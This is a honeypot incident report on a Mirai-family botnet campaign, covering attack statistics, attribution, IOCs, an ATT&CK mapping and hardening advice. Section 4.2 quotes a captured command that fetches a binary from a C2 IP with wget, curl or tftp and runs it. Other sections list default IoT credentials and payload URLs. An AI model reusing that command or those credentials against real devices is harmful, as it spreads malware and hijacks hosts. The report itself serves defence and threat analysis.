SECURITY INCIDENT REPORT

Automated Botnet Campaign Against Internet-Facing Honeypot

Report ID: HSOC-IR-2026-001 · **Classification:** TLP:CLEAR (lab environment) · **Analyst:** Karim Elmokhraty · **Date:** 10 Oct 2026

Monitoring window: 2026-10-08 17:14 UTC → 2026-10-10 17:40 UTC (~48 hours) · **Sensor:** Cowrie SSH/Telnet honeypot (Docker), Ubuntu 24.04 VPS, Frankfurt · **Severity:** HIGH

1. Executive Summary

A deliberately exposed SSH/Telnet honeypot was deployed to observe unsolicited attacker behaviour against a fresh internet-facing host. Over a ~48-hour window the sensor recorded **133,816 events** originating from **423 unique source IPs**. The overwhelming majority of activity is attributable to **automated IoT botnets of the Mirai family**, identified with high confidence from their hardcoded default-credential lists, Telnet takeover command sequences, and multi-architecture payload retrieval.

Attackers successfully authenticated to the (simulated) service from **185 distinct IPs** and attempted to download **22 unique malware binaries** from four command-and-control servers. A single highly aggressive source, `64.207.185.5`, accounted for 3,492 successful sessions and 16,960 issued commands on its own. No real asset was compromised — all interaction was contained within the honeypot — but the data demonstrates that an unhardened host is located and attacked within minutes of exposure.

133,816	423	11,500	22
TOTAL EVENTS	UNIQUE IPS	LOGIN ATTEMPTS	MALWARE SAMPLES

2. Scope & Environment

Item	Detail
Sensor type	Cowrie medium-interaction honeypot (SSH + Telnet), containerised in Docker
Host	Ubuntu 24.04 LTS VPS, Frankfurt region. Admin SSH relocated to tcp/22222 (key-only); tcp/22 and tcp/23 presented to attackers.
Exposure	Public IPv4, no prior advertisement. Honeypot IP redacted in this report.
Deception profile	Customised persona `prod-db-02` (Debian 12 "database server") to reduce honeypot fingerprinting.
Logging	Cowrie JSON → rsync/cron → Splunk SIEM; high-severity events forwarded to Telegram in real time.

3. Timeline (key observations)

Time (UTC)	Observation
2026-10-08 17:14	First attacker event recorded — automated SSH brute-force began within minutes of exposure.
2026-10-08 (hour 1)	Credential-stuffing from Mirai default list observed on both SSH and Telnet.
2026-10-08 17:24+	First successful (simulated) logins; attackers begin issuing reconnaissance commands.
Ongoing	Multi-architecture payload downloads from four C2 servers; repeated Telnet IoT takeover sequences.
2026-10-10 17:40	End of reporting window. Activity still ongoing; sensor remains live.

4. Attack Analysis

4.1 Attribution — Mirai-family IoT botnet

The campaign is attributed to Mirai-derived botnets with high confidence based on three independent indicators:

- **Credentials match the Mirai source list.** Top passwords were `xc3511`, `vizxv`, `xmhdipc`, `juantech`, `888888` — the hardcoded defaults for IP cameras, DVRs and routers. Username `ubnt` (Ubiquiti) appeared repeatedly.
- **Telnet-dominant traffic.** 78,901 Telnet events vs 54,915 SSH — consistent with IoT targeting rather than interactive human access.
- **IoT takeover command sequence.** The repeated string `enable / system / shell / sh / linuxshell` followed by `/bin/busybox HISILICON` (a HiSilicon-chipset camera check) is the canonical Mirai Telnet escape routine.

4.2 Infection chain

A representative payload-delivery command captured in the honeypot:

```
cd /tmp || cd /var/tmp || cd /dev/shm;                # locate writable dir
rm -f .f;                                              # remove prior artifacts
wget -O .f http://130.12.180.212/x86_64 \
  || curl -o .f http://130.12.180.212/x86_64 \
  || tftp -g -l .f -r x86_64 130.12.180.212;           # 3 fallback methods
chmod 777 .f; ./.f; /bin/busybox HISILICON             # execute, confirm infect
```

C2 servers served the same payload compiled for many CPU architectures (`net.mips`, `net.ppc`, `net.sh4`, `net.x86_64`, …), allowing the bot to infect whatever device it lands on. A separate, more sophisticated actor performed GPU reconnaissance (`lspci | grep -i nvidia`), indicating a distinct **crypto-mining** objective running in parallel to the DDoS-oriented Mirai bots.

4.3 Most aggressive source — 64.207.185.5

Metric	Value

Successful sessions	3,492
Commands issued	16,960
Failed logins (pre-success)	250
Credentials used	`ubnt:ubnt`, `root:xmhdipc`, `root:vizxv`, `root:888888`, `root:54321` … (Mirai set)
Behaviour	Relentless Telnet takeover attempts (`system/shell/sh/enable/linuxshell`) at machine speed.

5. Indicators of Compromise (IOCs)

5.1 Malware distribution / C2 servers

`130.12.180.212` `160.119.66.206` `45.9.149.168` `176.65.139.40`

Payload URLs: http://130.12.180.212/x86_64 · http://160.119.66.206/bins/{net.x86_64,net.mips,net.x86,kla.sh} · http://176.65.139.40/tot

5.2 Top malware sample hashes (SHA-256)

Hits	SHA-256
99	`af77b643964afd794460d28ab8a11b0ec8790cd5463abfde126613a4f3bccd32`
84	`e5f1c2ec78b2d1bede0ef4502e1b9acb00ca6dcb34468937075b3c5d56f811ec`
42	`32d0ef1342989d373e942d3676ab127942e354a5a7db17c925eb2790c25405e8`
8	`64d8f97bbbb1cfe1dde092d03baf0778385b16c441dafe2f758d50602cd00209`

5.3 Highest-volume attacking IPs

`64.207.185.5` `139.19.117.130` `128.199.216.54` `37.148.85.71` `92.118.39.77`

Full IOC set (400+ IPs, URLs, hashes) exported separately as `iocs.csv`.

6. MITRE ATT&CK Mapping

Tactic	Technique	ID	Evidence
Credential Access	Brute Force	T1110	11,500 login attempts; Mirai credential list
Execution	Command & Scripting Interpreter	T1059	37,420 shell commands captured
Command & Control	Ingress Tool Transfer	T1105	wget/curl/tftp payload download from 4 C2s
Discovery	System Information Discovery	T1082	`uname -s -v -n -r -m`, GPU/CPU recon
Defense Evasion	Indicator Removal	T1070	`rm -f .f` before/after payload

7. Impact Assessment

Actual impact: none. All activity was contained inside the Cowrie sandbox; no real host, data, or credential was exposed. Captured binaries were handled by hash/metadata only and never executed.

Simulated impact (had this been a real unhardened host): complete compromise within the first hour. The host would have been enrolled into a Mirai botnet (used for DDoS) and/or abused for crypto-mining, with attacker-controlled persistence and further lateral scanning.

8. Recommendations

- **Disable password authentication** on all internet-facing SSH; enforce key-based auth. This single control defeats the entire observed brute-force campaign.
- **Never expose Telnet (tcp/23).** It is the primary IoT botnet vector and carries no transport security.
- **Change / disable default credentials** on all devices, especially IoT (cameras, DVRs, routers) — the exact attack surface Mirai relies on.
- **Deploy brute-force throttling** (e.g. fail2ban) to auto-block high-volume sources such as `64.207.185.5`.
- **Block the listed C2 IPs** at the egress firewall to break the payload-download stage.
- **Keep hosts patched** and remove stale/privileged accounts from base images before exposure.
- **Centralise logging + alerting** so high-severity events (successful login, payload download) page an analyst in real time.

9. Methodology & Tooling

Detection pipeline: Cowrie (JSON logging) → rsync over SSH (dedicated least-privilege key) + cron → Splunk SIEM (custom `honeypot` index, dashboards, MITRE-mapped saved searches) → Python watcher as a systemd service pushing Telegram alerts. Ad-hoc analysis performed with `jq` and Splunk SPL. This is a defensive lab exercise; no offensive action was taken against any source.